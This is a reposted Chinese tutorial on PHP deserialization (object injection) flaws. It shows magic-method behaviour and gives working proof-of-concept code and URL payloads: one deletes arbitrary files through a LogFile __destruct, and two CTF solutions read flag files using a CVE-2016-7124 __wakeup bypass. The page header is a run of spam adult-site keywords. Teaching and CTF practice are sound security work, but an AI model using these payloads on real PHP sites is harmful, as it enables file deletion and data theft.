日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用

發(fā)布時(shí)間:2024/8/23 php 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

原創(chuàng):f1r3K0

php反序列化漏洞,又叫php對(duì)象注入漏洞,是一種常見的漏洞,在我們進(jìn)行代碼審計(jì)以及CTF中經(jīng)常能夠遇到。

01學(xué)習(xí)前最好提前掌握的知識(shí)PHP類與對(duì)象(https://www.php.net/manual/zh/language.oop5.php)

PHP魔術(shù)方法(https://secure.php.net/manual/zh/language.oop5.magic.php)

serialize()

(http://php.net/manual/zh/function.serialize.php)

與unserialize()

(http://php.net/manual/zh/function.unserialize.php)

02序列化與反序列化

PHP (從 PHP 3.05 開始)為保存對(duì)象提供了一組序列化和反序列化的函數(shù):serialize、unserialize。

serialize()

當(dāng)我們?cè)趐hp中創(chuàng)建了一個(gè)對(duì)象后,可以通過serialize()把這個(gè)對(duì)象轉(zhuǎn)變成一個(gè)字符串,用于保存對(duì)象的值方便之后的傳遞與使用。測試代碼如下;

classpeople

{

public$name ="f1r3K0";

public$age ='18';

}

$class =newpeople();

$class_ser = serialize($class);

print_r($class_ser);

?>

測試結(jié)果:

O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意這里的括號(hào)外邊的為大寫英文字母O下面是字母代表的類型 a - array 數(shù)組 b - boolean布爾型 d - double雙精度型 i - integer o - common object一般對(duì)象 r - reference s - string C - custom object 自定義對(duì)象 O - class N - null R - pointer reference U - unicode string unicode編碼的字符串

unserialize()

與 serialize() 對(duì)應(yīng)的,unserialize()可以從序列化后的結(jié)果中恢復(fù)對(duì)象(object),我們翻閱PHP手冊(cè)發(fā)現(xiàn)官方給出的是:unserialize — 從已存儲(chǔ)的表示中創(chuàng)建 PHP 的值。

我們可以直接把之前序列化的對(duì)象反序列化回來來測試函數(shù),如下:

classpeople

{

public$name ="f1r3K0";

public$age ='18';

}

$class =newpeople();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unse

r);

?>

提醒一下,當(dāng)使用 unserialize() 恢復(fù)對(duì)象時(shí), 將調(diào)用 __wakeup() 成員函數(shù)。(先埋個(gè)伏筆,這個(gè)點(diǎn)后面會(huì)提)

03反序列化漏洞

由前面可以看出,當(dāng)傳給 unserialize() 的參數(shù)可控時(shí),我們可以通過傳入一個(gè)"精心”構(gòu)造的序列化字符串,從而控制對(duì)象內(nèi)部的變量甚至是函數(shù)。

利用構(gòu)造函數(shù)等

Magic function

php中有一類特殊的方法叫“Magic function”,就是我們常說的"魔術(shù)方法" 這里我們著重關(guān)注一下幾個(gè):__construct():構(gòu)造函數(shù),當(dāng)對(duì)象創(chuàng)建(new)時(shí)會(huì)自動(dòng)調(diào)用。但在unserialize()時(shí)是不會(huì)自動(dòng)調(diào)用的。

__destruct():析構(gòu)函數(shù),類似于C++。會(huì)在到某個(gè)對(duì)象的所有引用都被刪除或者當(dāng)對(duì)象被顯式銷毀時(shí)執(zhí)行,當(dāng)對(duì)象被銷毀時(shí)會(huì)自動(dòng)調(diào)用。

__wakeup():如前所提,unserialize()時(shí)會(huì)檢查是否存在?__wakeup(),如果存在,則會(huì)優(yōu)先調(diào)用?__wakeup()方法。

__toString():用于處理一個(gè)類被當(dāng)成字符串時(shí)應(yīng)怎樣回應(yīng),因此當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串時(shí)就會(huì)調(diào)用。

__sleep():用于提交未提交的數(shù)據(jù),或類似的清理操作,因此當(dāng)一個(gè)對(duì)象被序列化的時(shí)候被調(diào)用。

測試如下:

classpeople

{

public$name ="f1r3K0";

public$age ='18';

function__wakeup()

{

echo"__wakeup()";

}

function__construct()

{

echo"__consrtuct()";

}

function__destruct()

{

echo"__destruct()";

}

function__toString()

{

echo"__toString";

}

/*function __sleep()

{

echo "__sleep";

}*/

}

$class =newpeople();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unser);

?>

結(jié)果如下:

從運(yùn)行結(jié)果來看,我們可以看出unserialize函數(shù)是優(yōu)先調(diào)用"__wakeup()"再進(jìn)行的反序列化字符串。同時(shí),對(duì)于其他方法的調(diào)用順序也一目了然了。(注意:這里我將sleep注釋掉了,因?yàn)閟leep會(huì)在序列化的時(shí)候調(diào)用,因此執(zhí)行sleep方法就不會(huì)再執(zhí)行序列以及之后的操作了。)

利用場景

__wakeup()和destruct()

由前可以看到,unserialize()后會(huì)導(dǎo)致wakeup() 或destruct()的直接調(diào)用,中間無需其他過程。因此最理想的情況就是一些漏洞/危害代碼在wakeup() 或destruct()中,從而當(dāng)我們控制序列化字符串時(shí)可以去直接觸發(fā)它們。我們這里直接使用參考文章的例子,代碼如下:

//logfile.php 刪除臨時(shí)日志文件

classLogFile{

//log文件名

public$filename ='error.log';

//存儲(chǔ)日志文件

publicfunctionLogData($text) {

echo'Log some data:'. $text .'
';

file_put_contents($this->filename, $text, FILE_APPEND);

}

//Destructor刪除日志文件

publicfunction__destruct() {

echo'__destruct delete'. $this->filename .'file.
';

unlink(dirname(__FILE__) .'/'. $this->filename);//刪除當(dāng)前目錄下的filename這個(gè)文件

}

}

?>

//包含了’logfile.php’的主頁面文件index.php

classUser{

//屬性

public$age =0;

public$name ='';

//調(diào)用函數(shù)來輸出類中屬性

publicfunctionPrintData() {

echo'User'. $this->name .'is'. $this->age .'years old.
';

}

}

$usr = unserialize($_GET['user']);

?>

梳理下這2個(gè)php文件的功能,index.php是一個(gè)有php序列化漏洞的主業(yè)文件,logfile.php的功能就是在臨時(shí)日志文件被記錄了之后調(diào)用__destruct方法來刪除臨時(shí)日志的一個(gè)php文件。 這個(gè)代碼寫的有點(diǎn)邏輯漏洞的感覺,利用這個(gè)漏洞的方式就是,通過構(gòu)造能夠刪除source.txt的序列化字符串,然后get方式傳入被反序列化函數(shù),反序列化為對(duì)象,對(duì)象銷毀后調(diào)用__destruct()來刪除source.txt.

漏洞利用exp<?php

include'logfile.php';

$obj =newLogFile();

$obj->filename ='source.txt';//source.txt為你想刪除的文件

echo serialize($obj) .'
';

?>

這里我們通過['GET']傳入序列化字符串,調(diào)用反序列化函數(shù)來刪除想要?jiǎng)h除的文件。

之前還看到過一個(gè)wakeup()非常有意思的例子,這里直接上鏈接了

chybeta淺談PHP反序列化 https://chybeta.github.io/2017/06/17/淺談php反序列化漏洞/

04其它magic function的利用

這里我就結(jié)合PCTF和今年國賽上的題來分析了

PCTF

題目鏈接:(http://web.jarvisoj.com:32768/index.php)前面幾步都是很常見的讀文件源碼

這里直接放出給的兩個(gè)源碼//index.php

require_once('shield.php');

$x =newShield();

isset($_GET['class']) && $g = $_GET['class'];

if(!empty($g)) {

$x = unserialize($g);

}

echo $x->readfile();

?>

上邊index.php提示了包含的shield.php所以說直接構(gòu)造base64就完事了//shield.php

//flag is in pctf.php

classShield{

public$file;

function__construct($filename ='') {

$this -> file = $filename;

}

functionreadfile() {

if(!empty($this->file) && stripos($this->file,'..')===FALSE

&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {

return@file_get_contents($this->file);

}

}

}

index.php 1.包含了一個(gè)shield.php 2.實(shí)例化了Shiele方法 3.通過[GET]接收了用戶反序列化的內(nèi)容,輸出了readfile()方法

shield.php 1.首先就能發(fā)現(xiàn)file是可控的(利用點(diǎn)) 2.construct()在index中實(shí)例化的時(shí)候就已經(jīng)執(zhí)行了,因此不會(huì)影響我們對(duì)可控$file的利用。

構(gòu)造poc<?php

classShield

{

public$file ="pctf.php";

}

$flag =newShield();

print_r(serialize($flag));

?>最終poc:

最終POC

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

ciscn2019 web1- JustSoso

讀源碼的過程省略//index.php

error_reporting(0);

$file = $_GET["file"];

$payload = $_GET["payload"];

if(!isset($file)){

echo'Missing parameter'.'
';

}

if(preg_match("/flag/",$file)){

die('hack attacked!!!');

}

@include($file);

if(isset($payload)){

$url = parse_url($_SERVER['REQUEST_URI']);

parse_str($url['query'],$query);

foreach($queryas$value){

if(preg_match("/flag/",$value)) {

die('stop hacking!');

exit();

}

}

$payload = unserialize($payload);

}else{

echo"Missing parameters";

}

?>

classHandle{

private$handle;

publicfunction__wakeup(){

foreach(get_object_vars($this)as$k => $v) {

$this->$k =null;

}

echo"Waking up\n";

}

publicfunction__construct($handle) {

$this->handle = $handle;

}

publicfunction__destruct(){

$this->handle->getFlag();

}

}

classFlag{

public$file;

public$token;

public$token_flag;

function__construct($file){

$this->file = $file;

$this->token_flag=&$this->token;

}

publicfunctiongetFlag(){

$this->token_flag = md5(rand(1,10000));

if($this->token === $this->token_flag)

{

if(isset($this->file)){

echo@highlight_file($this->file,true);

}

}

}

}

其實(shí)剛開始做的時(shí)候是很懵逼了,一直在糾結(jié)爆破md5上邊。22233333

1.首先我們需要繞的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失敗,這樣就可以在payload里出現(xiàn)flag,這里應(yīng)該n1ctf的web eating cms的繞過方式,添加 ///index.php繞過。

2.接下來就是需要我們繞過wakeup()里的將$k賦值為空的操作,這里用到的是一枚cve 當(dāng)成員屬性數(shù)目大于實(shí)際數(shù)目時(shí)可繞過wakeup方法(CVE-2016-7124)

3.繞md5這里用到了PHP中引用變量的知識(shí)

https://blog.csdn.net/qq_33156633/article/details/79936487

簡單來說就是,當(dāng)兩個(gè)變量指向同一地址時(shí),例如: $b=&$a,這里的 $b指向的是 $a的區(qū)域,這樣b就隨著a變化而變化,同樣的原理,我們?cè)诘诙叫蛄谢瘯r(shí)加上這一步$b =newFlag("flag.php");

$b->token=&$b->token_flag;

$a =newHandle($b);

這樣最后的token就和token_flag保持一致了。

最后的POC<?php

classHandle

{

private$handle;

publicfunction__wakeup()

{

foreach(get_object_vars($this)as$k => $v)

{

$this->$k =null;

}

echo"Waking upn";

}

publicfunction__construct($handle)

{

$this->handle = $handle;

}

publicfunction__destruct()

{

$this->handle->getFlag();

}

}

classFlag

{

public$file;

public$token;

public$token_flag;

function__construct($file)

{

$this->file = $file;

$this->token_flag = $this->token = md5(rand(1,10000));

}

publicfunctiongetFlag()

{

if(isset($this->file))

{

echo@highlight_file($this->file,true);

}

}

}

$b =newFlag("flag.php");

$b->token=&$b->token_flag;

$a =newHandle($b);

echo(serialize($a));

?>

這里還有一個(gè)點(diǎn)就是我們需要用%00來補(bǔ)全空缺的字符,又因?yàn)楹衟rivate 變量,需要 encode 一下。

最終payload:

?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

05利用普通成員方法

前面談到的利用都是基于“自動(dòng)調(diào)用”的magic function。但當(dāng)漏洞/危險(xiǎn)代碼存在類的普通方法中,就不能指望通過“自動(dòng)調(diào)用”來達(dá)到目的了。這時(shí)我們需要去尋找相同的函數(shù)名,把敏感函數(shù)和類聯(lián)系在一起。一般來說在代碼審計(jì)的時(shí)候我們都要盯緊這些敏感函數(shù)的,層層遞進(jìn),最終去構(gòu)造出一個(gè)有殺傷力的payload。

參考文章

https://www.cnblogs.com/Mrsm1th/p/6835592.html

http://p0desta.com/2018/04/01/php反序列化總結(jié)/

http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解與利用/

https://p0sec.net/index.php/archives/114/

相關(guān)操作學(xué)習(xí):

PHP反序列化漏洞實(shí)驗(yàn):明白什么是反序列化漏洞,漏洞成因以及如何挖掘和預(yù)防此類漏洞。http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001開始操作!

本文為合天原創(chuàng),未經(jīng)允許,嚴(yán)禁裝載。

總結(jié)

以上是生活随笔為你收集整理的php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。